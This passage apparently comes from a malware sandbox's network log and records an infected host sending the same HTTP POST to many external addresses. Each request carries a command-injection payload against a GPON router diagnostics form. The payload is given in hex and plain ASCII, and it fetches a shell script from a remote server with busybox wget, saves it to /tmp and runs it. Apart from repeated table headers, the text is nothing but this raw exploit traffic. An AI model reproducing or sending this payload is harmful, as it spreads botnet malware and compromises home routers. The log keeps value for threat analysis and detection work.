Mar 21, 2024 05:21:47.435266972 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.13	50176	42.240.155.77	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435286045 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.13	53674	42.184.163.183	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435323954 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.13	42458	118.1.148.28	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435353994 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.13	55336	212.60.96.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435364962 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
150	192.168.2.13	57252	5.231.230.227	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435378075 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
151	192.168.2.13	57590	5.3.31.52	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435440063 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
152	192.168.2.13	33318	42.208.240.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435470104 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
153	192.168.2.13	50792	212.118.73.190	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435519934 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
154	192.168.2.13	43816	212.10.198.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435539961 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
155	192.168.2.13	55020	42.249.99.229	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435565948 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
156	192.168.2.13	60322	212.44.139.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435578108 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
157	192.168.2.13	51006	118.175.161.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435609102 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
158	192.168.2.13	51934	212.245.214.201	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435638905 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
159	192.168.2.13	35788	5.168.229.98	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435678959 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
160	192.168.2.13	48422	118.6.121.219	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435734034 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
161	192.168.2.13	33786	5.232.34.34	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435750961 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
162	192.168.2.13	40260	118.214.191.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435759068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
163	192.168.2.13	35594	118.113.107.93	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435780048 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
164	192.168.2.13	48426	42.179.64.145	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435806990 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
165	192.168.2.13	54112	5.100.15.223	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435811996 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
166	192.168.2.13	42404	118.73.66.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435851097 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
167	192.168.2.13	47920	42.186.245.111	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435902119 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
168	192.168.2.13	48866	118.141.142.15	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435914040 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
169	192.168.2.13	43686	212.246.182.173	443

Timestamp	Bytes transferred	Direction	Data
